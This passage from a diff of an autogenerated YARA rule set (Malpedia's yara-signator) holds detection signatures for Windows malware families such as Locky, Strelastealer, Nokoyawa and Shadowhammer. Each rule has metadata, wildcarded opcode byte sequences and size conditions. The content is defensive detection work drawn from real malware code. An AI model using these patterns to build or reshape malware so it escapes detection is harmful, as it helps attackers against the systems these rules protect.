v0.6.0" @@ -82488,32 +82474,32 @@ rule MALPEDIA_Win_Greenshaitan_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 8d442434 64a300000000 8b6c2444 33db 895c2410 c744242c0f000000 895c2428 } - $sequence_1 = { 6a02 68???????? 8d842494000000 e8???????? } - $sequence_2 = { 895c244c 668944243c 3974246c 720d 8b4c2458 51 e8???????? } - $sequence_3 = { 7594 8b7c2414 83ff01 7534 } - $sequence_4 = { ff15???????? 8d442404 c746180f000000 c7461400000000 c6460400 8d5001 8a08 } - $sequence_5 = { 3974246c 720d 8b4c2458 51 e8???????? 83c404 8b542430 } - $sequence_6 = { 56 e8???????? 56 8bd8 e8???????? 8be8 8b4734 } - $sequence_7 = { c74424480f000000 895c2444 885c2434 eb1b 837d6810 7205 8b4554 } - $sequence_8 = { 53 890a e8???????? 55 e8???????? 83c408 } - $sequence_9 = { 8bf1 8b4814 c744240800000000 7214 8b4004 51 8bd8 } + $sequence_0 = { 53 8b5d10 56 8b750c 57 33ff 6a02 } + $sequence_1 = { 50 c745c03c000000 c745c400020000 c745cce4301717 c745dc05000000 ff15???????? } + $sequence_2 = { 7507 bf0e000780 eb34 8365f400 ff750c 33c0 } + $sequence_3 = { 7d06 33c0 33ff eb03 8b45f4 8945fc } + $sequence_4 = { 50 8d8584fcffff 50 ffb580fcffff 8d856cfcffff ffb578fcffff 50 } + $sequence_5 = { ff32 ff15???????? 83f8ff 7507 b805400080 eb02 33c0 } + $sequence_6 = { ff7508 6813100000 ff36 ffd7 6a03 58 8945d4 } + $sequence_7 = { e8???????? 57 8bce 894508 e8???????? 5f 5e } + $sequence_8 = { 85f6 7507 b857000780 eb45 832600 6a38 8d45c8 } + $sequence_9 = { e8???????? 8bce e8???????? 8bd8 85db 7d0f } condition: - 7 of them and filesize < 253952 + 7 of them and filesize < 1822720 } -rule MALPEDIA_Win_Socksbot_Auto : FILE +rule MALPEDIA_Win_Exaramel_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "faec2b10-b495-5749-b587-f624aaef83b1" + id = "9d8ef319-a5df-534f-b138-19485cbaf19b" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.socksbot" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.socksbot_auto.yar#L1-L120" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.exaramel" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.exaramel_auto.yar#L1-L128" license_url = "N/A" - logic_hash = "369cd58dedba09e8aa40e9db282016f7a46ee224d612c8da35e03725828fb9df" + logic_hash = "0034b5ba03392faf6ba4ea9ba70e440d6025311290e39d869c6ea3fe5bf2d84b" score = 75 quality = 75 tags = "FILE" @@ -82527,71 +82513,78 @@ rule MALPEDIA_Win_Socksbot_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 6a0d 50 8945fc e8???????? 8bf8 } - $sequence_1 = { 8d85acfeffff 50 51 c785acfeffff01000000 899db0feffff 894df0 c745f400879303 } - $sequence_2 = { 33c0 5f c9 c20400 55 8bec 81ec0c030000 } - $sequence_3 = { 324415bc 320439 32c3 880439 } - $sequence_4 = { 33c1 c1e002 33c1 c1e002 } - $sequence_5 = { c3 8b400c 8b00 ff30 ff15???????? 85c0 74eb } - $sequence_6 = { 03f3 eb6d 8b460c 03c3 } - $sequence_7 = { 8b55f8 43 8802 8b35???????? 33c0 3bdf } - $sequence_8 = { 880e 4a 75f7 5f 5e 5d c3 } - $sequence_9 = { a3???????? c605????????00 5b c9 c3 } + $sequence_0 = { 85c0 7539 a3???????? c705????????01000000 ff15???????? 8b35???????? 68???????? } + $sequence_1 = { be05400080 e9???????? 8d8528f8ffff 57 50 } + $sequence_2 = { ff15???????? 85c0 746d 53 57 ff75fc 8b3d???????? } + $sequence_3 = { 8b1d???????? 660f1f440000 8b0d???????? 8d85e4fbffff 6aff 6a00 } + $sequence_4 = { 742b 8b01 8d55f8 52 51 8b4068 ffd0 } + $sequence_5 = { e8???????? c70021000000 e9???????? 894ddc c745e068a54100 e9???????? c745e064a54100 } + $sequence_6 = { c1f806 6bc930 8b048560dd4100 f644082801 7406 8b440818 5d } + $sequence_7 = { 744e 85f6 7504 33c0 eb18 56 6a00 } + $sequence_8 = { 57 e8???????? 8bf0 83c428 85f6 0f881c010000 } + $sequence_9 = { 33c0 668945e8 8b45d4 886de5 8b148560dd4100 } condition: - 7 of them and filesize < 73728 + 7 of them and filesize < 294912 } -rule MALPEDIA_Win_Acidbox_Auto : FILE +rule MALPEDIA_Win_Locky_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "e7057136-2c24-5d9e-851b-e4da203a95ed" - date = "2026-01-05" - modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.acidbox" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.acidbox_auto.yar#L1-L131" + id = "9434ac8a-f19d-5097-9718-4e0bcd7c3bb7" + date = "2024-10-31" + modified = "2024-11-11" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.locky" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.locky_auto.yar#L1-L181" license_url = "N/A" - logic_hash = "b9bd6906be69a76719ed536d0340b9bf2024c75961d5ef4e84e1394f2a4d90af" + logic_hash = "cfd0780ce81a27b30c6ff7ba29e871c926663b6bd8e9b266836319c43aec3bb1" score = 75 quality = 75 tags = "FILE" version = "1" tool = "yara-signator v0.6.0" signator_config = "callsandjumps;datarefs;binvalue" - malpedia_rule_date = "20260105" - malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79" - malpedia_version = "20251219" + malpedia_rule_date = "20241030" + malpedia_hash = "26e26953c49c8efafbf72a38076855d578e0a2e4" + malpedia_version = "20241030" malpedia_license = "CC BY-SA 4.0" malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { e8???????? 89442430 85c0 0f841a010000 } - $sequence_1 = { 33d2 e9???????? 41c1ee04 33d2 83c6fc 418bce 83e10f } - $sequence_2 = { 488bce e8???????? 397e18 750b 834b40ff 33c0 e9???????? } - $sequence_3 = { 48895c2408 57 4883ec30 488bfa 33db 4885c9 7479 } - $sequence_4 = { 4883ec58 488bf1 bf01200480 8978a8 33db 48895818 448bf3 } - $sequence_5 = { e8???????? 3b4704 7513 4d897500 8b4708 33db 418907 } - $sequence_6 = { 4d85f6 741a 33d2 41b880010000 498bce ff15???????? 498bce } - $sequence_7 = { 488b7128 4885ff 0f84e1000000 4885f6 0f84d8000000 488d8424c0000000 4889442420 } - $sequence_8 = { 81790800000306 7308 418bc6 e9???????? 488d842418010000 4889442420 41b9a0000000 } - $sequence_9 = { 897918 488b03 488b8898000000 89791c 488b03 488b8898000000 c7413809000000 } + $sequence_0 = { 51 51 8b00 6a00 8d4d0c 51 ff750c } + $sequence_1 = { 760a 68???????? e8???????? a1???????? 2b05???????? 6a1c } + $sequence_2 = { 50 c745f8???????? e8???????? 8d85f0fdffff 50 } + $sequence_3 = { 99 83e207 8d3c02 33d2 42 c1ff03 663bca } + $sequence_4 = { 99 5e f7fe 8bf0 81fe48922409 760a 68???????? } + $sequence_5 = { 6a00 ff15???????? 85c0 751e ff15???????? c745f8???????? } + $sequence_6 = { 8907 8bc7 c9 c20400 ff15???????? 8945fc } + $sequence_7 = { 7314 8b4e1c 8b431c 3bc8 7c0a } + $sequence_8 = { 5b c21000 e9???????? 8bff 55 8bec 56 } + $sequence_9 = { 03d8 8b442408 f7e1 03d3 5b c21000 e9???????? } + $sequence_10 = { 66ab e9???????? 8d12 e9???????? } + $sequence_11 = { ebcf 90 8d36 90 } + $sequence_12 = { 5e c21000 8bff 55 8bec 33c0 8b4d08 } + $sequence_13 = { 6a61 e9???????? 90 58 } + $sequence_14 = { 6a63 e9???????? 90 8d36 } + $sequence_15 = { 66ab e9???????? 58 90 e9???????? 90 } + $sequence_16 = { 66ab 90 e9???????? 8d00 } condition: - 7 of them and filesize < 589824 + 7 of them and filesize < 1122304 } -rule MALPEDIA_Win_Colibri_Auto : FILE +rule MALPEDIA_Win_Yarat_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "c5670290-4724-5847-ad87-e4a198921e3b" + id = "c5e6c743-0bb4-5ded-85f6-7e273a746dba" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.colibri" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.colibri_auto.yar#L1-L125" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.yarat" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.yarat_auto.yar#L1-L134" license_url = "N/A" - logic_hash = "07fa90a8bd47a0724796f8c6b0b275796c3daebded1dd7bb4e8069ed71142d39" + logic_hash = "9bcd9db0a35387b5ff289ffde342821469357bc27585eec725313cf57fac8b79" score = 75 quality = 75 tags = "FILE" @@ -82605,32 +82598,32 @@ rule MALPEDIA_Win_Colibri_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 8d8598fdffff 6804010000 50 6a02 59 } - $sequence_1 = { 50 6a02 59 e8???????? babab69c31 8bc8 } - $sequence_2 = { a1???????? 81ec90080000 53 56 57 8d0c4502000000 e8???????? } - $sequence_3 = { 59 e8???????? ba980aa4bf 8bc8 e8???????? ffd0 8945ec } - $sequence_4 = { 8b4dd0 8d144502000000 e8???????? a1???????? 8b4dcc 8d144502000000 e8???????? } - $sequence_5 = { e8???????? 53 8bf0 56 6aff 57 6a00 } - $sequence_6 = { 8365f800 50 e8???????? 59 85c0 7413 8b4dfc } - $sequence_7 = { ffd0 e8???????? 8b75d0 85c0 } - $sequence_8 = { 8945fc b944000000 b000 8b7dfc } - $sequence_9 = { 50 68e9fd0000 6a02 59 e8???????? bac0bc4316 8bc8 } + $sequence_0 = { 8b07 51 03f0 52 56 e8???????? 8b8564feffff } + $sequence_1 = { 8b7d08 33f6 33db 85ff 7439 8bf7 8d4e01 } + $sequence_2 = { c1ca03 663bf5 84eb 81f21b6f5a16 f7da f5 81fede018b2e } + $sequence_3 = { 8b3f 85ff 75d7 837c241c00 8b3d???????? 754f 6804010000 } + $sequence_4 = { f5 81c702000000 6685f1 0fadc2 f6d0 0f42c5 0fc8 } + $sequence_5 = { b90a000000 5f 5e 89889c0a0000 8bc3 5b 8be5 } + $sequence_6 = { e8???????? 83c408 eb02 33c0 898388050000 80be3e10000000 8945f8 } + $sequence_7 = { 8bec 8b4d08 85c9 7413 8b8148050000 8b4024 85c0 } + $sequence_8 = { e8???????? 8bc6 83c418 0b45e8 0f858d000000 eb78 6a02 } + $sequence_9 = { 869d56f9247d 9e 2490 7f7c ec 96 ac } condition: - 7 of them and filesize < 51200 + 7 of them and filesize < 8692736 } -rule MALPEDIA_Win_Scranos_Auto : FILE +rule MALPEDIA_Win_Ismdoor_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "e6b87374-5f91-5170-a53f-357b78008c92" + id = "540e8392-0220-5703-98ef-e8f75cf1cca1" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.scranos" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.scranos_auto.yar#L1-L134" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.ismdoor" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.ismdoor_auto.yar#L1-L153" license_url = "N/A" - logic_hash = "52e1cc52ba176c72c7453bb67f5d2aeb347a2cda714eb2419f457836d51a180e" + logic_hash = "0347b8b3605f80aa046ee397578be54423bd20b2d0f0c466e85204c8c4819aa8" score = 75 quality = 75 tags = "FILE" @@ -82644,32 +82637,37 @@ rule MALPEDIA_Win_Scranos_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { e9???????? 8d4dd0 e9???????? 8d8d64ffffff e9???????? b8???????? e9???????? } - $sequence_1 = { c68424450e00002d 8db424460e0000 f6c102 7406 c6062b 83c601 f6c101 } - $sequence_2 = { c745a800000000 837d9c00 7508 8b45a0 8b08 894d9c 8b55f4 } - $sequence_3 = { e8???????? 83c404 85c0 0f8587050000 39442424 0f8570050000 8b8d940c0000 } - $sequence_4 = { c745b07c441010 e8???????? cc 6a44 b8???????? e8???????? 68???????? } - $sequence_5 = { 8d6803 e8???????? 83c40c 85c0 0f85c4000000 6a07 56 } - $sequence_6 = { 8b5518 8991e0010000 c745f800000000 eb09 8b45f8 83c001 8945f8 } - $sequence_7 = { c6405400 0fb64dff 85c9 7514 8b55e4 8b45ec 3b424c } - $sequence_8 = { 90 8d442410 50 6a00 55 56 e8???????? } - $sequence_9 = { c7414802000000 8b55e8 52 e8???????? 83c404 83c001 8945b0 } + $sequence_0 = { 83f8ff 7504 32c0 eb05 c0e804 2401 84c0 } + $sequence_1 = { 488bd6 488bcb ff5048 4885c0 750e } + $sequence_2 = { 7419 488d4dc0 e8???????? 483bd8 7405 } + $sequence_3 = { 448bc3 4963c0 4585c0 7514 } + $sequence_4 = { 90 c685200100006b 4c89bd38010000 4c89bd40010000 48c7854001000007000000 } + $sequence_5 = { 488d4c2448 e8???????? 90 4c8d45f0 488bd0 } + $sequence_6 = { 488b45b8 48898310020000 48898318020000 48898320020000 } + $sequence_7 = { e9???????? 4532ed 488d8db0010000 e8???????? } + $sequence_8 = { eb02 33c0 8bbdccfbffff 6bc009 0fb6bc38107a4700 8bc7 } + $sequence_9 = { e8???????? 83f8ff 7e3c ff75ec } + $sequence_10 = { 52 50 e8???????? 68e8030000 ffd6 } + $sequence_11 = { c645fc3f e9???????? 6a00 68???????? } + $sequence_12 = { c785f0fdffff00000000 50 6a00 6a00 6a1d 8bf1 } + $sequence_13 = { 46 83fe10 7cdb ff75d0 8d55e8 } + $sequence_14 = { 8bc8 eb0c 0fb6c0 0fbe8040714800 03c8 } condition: - 7 of them and filesize < 2859008 + 7 of them and filesize < 1933312 } -rule MALPEDIA_Win_Cur1_Downloader_Auto : FILE +rule MALPEDIA_Win_Taleret_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "b4746bef-c0ea-5bd8-a0d8-b1e69c784457" + id = "09104a61-10e4-51be-8fcd-72ca4b899ef9" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.cur1_downloader" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.cur1_downloader_auto.yar#L1-L125" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.taleret" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.taleret_auto.yar#L1-L124" license_url = "N/A" - logic_hash = "75283ba2057f95c8da3348505d3be061064c40e196de82d8a3f46a329333d71b" + logic_hash = "4f3dbb090232b14fe9d8fb1c04016f4bef98cd25096fea3fc24c423d5e08c994" score = 75 quality = 75 tags = "FILE" @@ -82683,32 +82681,32 @@ rule MALPEDIA_Win_Cur1_Downloader_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 8d41ff 8b8482c81a0200 85c0 0f84c6000000 413bc7 } - $sequence_1 = { 8b4c2450 e8???????? 4889442458 48c744242000000000 4c8d8c24c8000000 448b442450 488b542458 } - $sequence_2 = { 83e10f 480fbe841100e40100 8a8c1110e40100 4c2bc0 418b40fc d3e8 } - $sequence_3 = { 4863442420 4533c0 0fb6540424 488d0d8da60200 e8???????? 48634c2420 88440c24 } - $sequence_4 = { 488bbc24e0000000 4803fa 488bd7 8b7c2440 486bff0c 488d35aa980200 4803f7 } - $sequence_5 = { 4533c9 4533c0 488d542438 488b8c24d8000000 } - $sequence_6 = { b843000000 6689842486000000 b875000000 6689842488000000 b872000000 668984248a000000 b872000000 } - $sequence_7 = { 4885c0 751e 498bc6 4c8d3d9f39ffff } - $sequence_8 = { c744242001000000 4533c9 4533c0 488d942420170000 33c9 ff15???????? 89442468 } - $sequence_9 = { 4889442478 488b4c2430 488b542420 4803d1 488bca e8???????? 488b4c2478 } + $sequence_0 = { 89442430 8bf8 8bc1 8bf5 55 c1e902 f3a5 } + $sequence_1 = { 85c0 741b 8b4c241c 51 ffd3 8b542410 } + $sequence_2 = { 51 68???????? 52 e8???????? 50 8d4c2414 c644243802 } + $sequence_3 = { 8d4c242c c78424a8030000ffffffff e8???????? 56 e8???????? 83c404 8b7c2410 } + $sequence_4 = { 85ff 896c2420 7e2a 8b4c2440 8d442420 } + $sequence_5 = { 85c0 0f84a6000000 50 51 } + $sequence_6 = { 50 e8???????? 8d8eb0010000 8d542434 51 68???????? 52 } + $sequence_7 = { 51 ffd6 85c0 7536 ff15???????? 83f87a } + $sequence_8 = { ff15???????? 8bd8 3bde 895c2420 750d 5f } + $sequence_9 = { 8b4c2424 c644310100 8d4c2430 e8???????? 50 } condition: - 7 of them and filesize < 402432 + 7 of them and filesize < 73728 } -rule MALPEDIA_Win_Crenufs_Auto : FILE +rule MALPEDIA_Win_Shylock_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "487ba1c7-31dd-5f61-bb00-5c9d73db857b" + id = "27b4846a-398c-5add-a760-ff7339bbdf8b" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.crenufs" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.crenufs_auto.yar#L1-L126" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.shylock" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.shylock_auto.yar#L1-L134" license_url = "N/A" - logic_hash = "b8d4f6abd83faf05e3956845ba58bcd09d9f7c4a785dc9758948905ec6301e11" + logic_hash = "742cfb0b5b4c0d8c9d0f24db70f112e2bfd101bfeb4b4efca74ae8b027c1a20b" score = 75 quality = 75 tags = "FILE" @@ -82722,32 +82720,32 @@ rule MALPEDIA_Win_Crenufs_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 6a01 8d4de4 ff15???????? 8b4df4 5f 5e 5b } - $sequence_1 = { 8b7610 c744241000000000 3930 770a } - $sequence_2 = { 50 56 8d4de0 ff15???????? 57 68???????? } - $sequence_3 = { 8bf9 56 897c2418 e8???????? 56 ff15???????? } - $sequence_4 = { c7461001000000 8bde ff15???????? 392d???????? 7512 8935???????? 892e } - $sequence_5 = { 52 8d7e58 6a04 57 50 ffd5 } - $sequence_6 = { 03ca 894c2438 3b4b18 740d 8b4c2454 c74118ccc74000 eb61 } - $sequence_7 = { ff15???????? 834dfcff 6a01 8d4ddc ff15???????? 8b4df4 8bc6 } - $sequence_8 = { 53 50 68???????? 53 ff15???????? 6a01 8d4db0 } - $sequence_9 = { ff15???????? e9???????? a1???????? bf???????? 83c9ff } + $sequence_0 = { e8???????? eb75 8d75d0 e8???????? 8d75a4 e8???????? 8d75c4 } + $sequence_1 = { c20800 55 8bec 83ec1c 56 8d45ec 57 } + $sequence_2 = { ff75e0 e8???????? 83c410 33c0 eb0c b857000780 eb05 } + $sequence_3 = { ff75b8 53 e8???????? 83c420 85c0 7439 3975fc } + $sequence_4 = { e8???????? 59 85c0 751a e8???????? 3db7000000 740e } + $sequence_5 = { e8???????? 59 50 ff750c ff7508 e8???????? 8d751c } + $sequence_6 = { ff75f8 e8???????? 8d45f0 50 8bc6 8b7508 50 } + $sequence_7 = { 8d75fc e8???????? 6a00 68???????? 8d5d0c e8???????? 6a00 } + $sequence_8 = { eb06 8b4d20 8d3488 e8???????? 8b75f0 8d7ddc e8???????? } + $sequence_9 = { ff75f0 e8???????? 8b5d0c 8d45d0 50 e8???????? 8bd8 } condition: - 7 of them and filesize < 106496 + 7 of them and filesize < 630784 } -rule MALPEDIA_Win_Petrwrap_Auto : FILE +rule MALPEDIA_Win_Nokoyawa_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "4231d0f2-bcca-5065-a819-dce30768f04e" + id = "5fa67854-5271-511e-bc7c-fd346224ae86" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.petrwrap" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.petrwrap_auto.yar#L1-L129" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.nokoyawa" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.nokoyawa_auto.yar#L1-L126" license_url = "N/A" - logic_hash = "df938443ce3aca6f9d40529b8ac059dfa5d88a7d6127ee28afd16bed66ad9fc4" + logic_hash = "d0e099f2b3c7d0be14ed25c33931a83caac7b50df6157dc4628f695a1c582f8e" score = 75 quality = 75 tags = "FILE" @@ -82761,34 +82759,34 @@ rule MALPEDIA_Win_Petrwrap_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 8b442458 8bf9 0fa4c119 33f2 c1e019 } - $sequence_1 = { 894c241c 3bcf 763b 6845030000 68???????? 6a44 6a68 } - $sequence_2 = { 68???????? 57 e8???????? 83c408 85c0 0f89ff010000 57 } - $sequence_3 = { 3bd9 7301 47 8b442414 89700c 8b4508 33f6 } - $sequence_4 = { 50 e8???????? 83c410 ff15???????? 8945b4 b808000000 e8???????? } - $sequence_5 = { 83c430 83c20a 89542444 85d2 } - $sequence_6 = { 330c85d01c4400 8b44242c c1e818 330c85d0184400 0fb6c2 330c85d0244400 8bc3 } - $sequence_7 = { 8b4c2440 83c42c 894c241c 85c0 7507 6831020000 eb44 } - $sequence_8 = { 8b4d00 89450c 8b03 894c2424 8d04b0 2bf2 c1fe1f } - $sequence_9 = { 4a 75f5 8b0e c7460406000000 83c114 8d4900 8b01 } + $sequence_0 = { 88040a 8b442420 83c010 4898 8b4c2420 83c12c 4863c9 } + $sequence_1 = { e8???????? 488905???????? c744243000000000 eb0a 8b442430 ffc0 89442430 } + $sequence_2 = { 89448c30 4863442420 8b4c2420 c1e102 } + $sequence_3 = { c1e01e 8b4c2408 c1e902 0bc1 89442408 33c0 85c0 } + $sequence_4 = { 33d2 488b442430 488b4850 e8???????? } + $sequence_5 = { 8bca 8b942438010000 03d1 8bca 8d84089979825a 8b4c2410 } + $sequence_6 = { 85c0 7411 488b542468 488b4c2460 e8???????? eb0a 488b4c2460 } + $sequence_7 = { 486bc000 488b4c2440 8b542420 39540114 7326 b804000000 486bc001 } + $sequence_8 = { e8???????? 85c0 742a 4c8b8c24c8000000 4c8b8424c0000000 488b9424b8000000 } + $sequence_9 = { c644242b61 c644242c6e c644242d64 c644242e20 c644242f31 c644243036 c64424312d } condition: - 7 of them and filesize < 1024000 + 7 of them and filesize < 92160 } -rule MALPEDIA_Win_Strelastealer_Auto : FILE +rule MALPEDIA_Win_Nachocheese_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "8e21e6c9-b196-5772-9b5f-024320f3473e" + id = "0d1d5a3a-67ce-5c34-82de-43ee9a1b9d3b" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.strelastealer" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.strelastealer_auto.yar#L1-L230" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.nachocheese" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.nachocheese_auto.yar#L1-L158" license_url = "N/A" - logic_hash = "fdd1b910b27b0b34d135da8196d66e4e45cba2823b849a416c07e1720765f896" + logic_hash = "cb72c9411818be36907dbdd85a36216d8cf0f5bc33a5604f0609af1c56f21889" score = 75 - quality = 73 + quality = 75 tags = "FILE" version = "1" tool = "yara-signator v0.6.0" @@ -82800,46 +82798,38 @@ rule MALPEDIA_Win_Strelastealer_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 488d0575910000 41b91b000000 4889442420 e8???????? 4883c438 } - $sequence_1 = { ff15???????? 85c0 0f854effffff 488bcb ff15???????? 4881c4d8050000 } - $sequence_2 = { 50 e8???????? 8b44242c 83c40c 53 53 } - $sequence_3 = { 08c1 20ca 80f101 89c8 } - $sequence_4 = { a1???????? 668b08 56 8d5306 55 } - $sequence_5 = { 488bc2 488d0d05c50000 0f57c0 48890b } - $sequence_6 = { 015304 eb55 4d85c0 7e27 488bd7 4c8b4dc7 4b8b8ccbc0120600 } - $sequence_7 = { 53 53 6804010000 8d94247c030000 52 } - $sequence_8 = { 488d05bd430100 488945e0 895128 488d0d87a30000 } - $sequence_9 = { 56 53 57 ff15???????? 8bf0 8b442418 8930 } - $sequence_10 = { 08c1 08da 80f201 89c8 } - $sequence_11 = { 08c1 0f1f440000 b810000000 e8???????? } - $sequence_12 = { b913000000 4c8d05d3800000 e8???????? 4885c0 7417 49ba7032d8542306ddea } - $sequence_13 = { 488d05afff0000 483bd8 74d1 488bcb } - $sequence_14 = { 8945e4 3d00010000 7d10 8a8c181d010000 888810b80010 40 } - $sequence_15 = { 03c7 751f 488b85a0010000 488b8888000000 488d0505540100 } - $sequence_16 = { 50 6819000200 53 8d8c246c010000 51 6801000080 } - $sequence_17 = { 488d4c2430 ff15???????? 488d3d2a5e0100 488bcf ff15???????? } - $sequence_18 = { 0fb6c0 eb12 8b45e0 8a8014b90010 08443b1d 0fb64601 47 } - $sequence_19 = { 01c7 897d14 8d1401 81c200040000 } - $sequence_20 = { 01c1 b8dc8856d3 29c8 b9dd8856d3 } - $sequence_21 = { 33c9 4c8d054be10000 488d154ce10000 e8???????? 4885c0 740f 488bcb } - $sequence_22 = { 305106 33d2 f7f6 0fb68220a30010 304107 } - $sequence_23 = { 08c1 08d3 89ca 80e201 } + $sequence_0 = { 2bfa 8d47fd 3901 8901 } + $sequence_1 = { 3d2cc00000 7f18 3d2bc00000 7d1b } + $sequence_2 = { 33c4 89842498210000 833d????????02 53 56 } + $sequence_3 = { 3d9c000000 7c07 3d9f000000 7e0d } + $sequence_4 = { 8b5f18 85f6 7504 33c0 eb1e } + $sequence_5 = { 83c404 8975fc 8d4900 e8???????? 8bf0 85f6 } + $sequence_6 = { 8d4813 894dec 8955fc 53 } + $sequence_7 = { 3d2bc00000 7d1b 3d9c000000 7c07 } + $sequence_8 = { 81fb80000000 7305 83c302 eb29 81fb00010000 7305 } + $sequence_9 = { 5b 8be5 5d c20400 8d4508 50 681d002000 } + $sequence_10 = { 33c8 894710 8b4708 33c1 } + $sequence_11 = { 33c0 c3 05d13fffff 83f801 } + $sequence_12 = { 83ec0c 53 56 57 33f6 6a03 } + $sequence_13 = { 8b4508 8d55a8 52 33c9 50 } + $sequence_14 = { 52 89bddcf9ffff e8???????? 83c404 } + $sequence_15 = { 3d9f000000 7e0d 33c0 c3 } condition: - 7 of them and filesize < 872448 + 7 of them and filesize < 1064960 } -rule MALPEDIA_Win_Pipemagic_Auto : FILE +rule MALPEDIA_Win_Shadowhammer_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "fdb60c65-afb1-53e4-9d93-0cc68c23b592" + id = "297b3240-9669-5c2f-9f70-bac21eea5e4b" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.pipemagic" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.pipemagic_auto.yar#L1-L124" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.shadowhammer" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.shadowhammer_auto.yar#L1-L125" license_url = "N/A" - logic_hash = "1b197c324b04c72fd062b82fb8bf23069786730f7c016ad9418e03227253d020" + logic_hash = "910985146f49579376d7edf79ed10031d031e34957a06d7ed180548cab7651ac" score = 75 quality = 75 tags = "FILE" @@ -82853,34 +82843,34 @@ rule MALPEDIA_Win_Pipemagic_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { ff15???????? 8bcf e8???????? 8bc8 85c9 7510 53 } - $sequence_1 = { ff15???????? 59 c7431003000000 5f 5e 5b c9 } - $sequence_2 = { 0f8722010000 8b513c 03d1 8955f8 8d82f8000000 3bc3 0f870c010000 } - $sequence_3 = { 8945e4 85db 0f8499020000 8b5508 8a01 } - $sequence_4 = { e8???????? a1???????? 33c9 894dd8 } - $sequence_5 = { 8b00 eb03 8b4508 6a04 } - $sequence_6 = { 59 51 8b4dec 57 e8???????? 57 } - 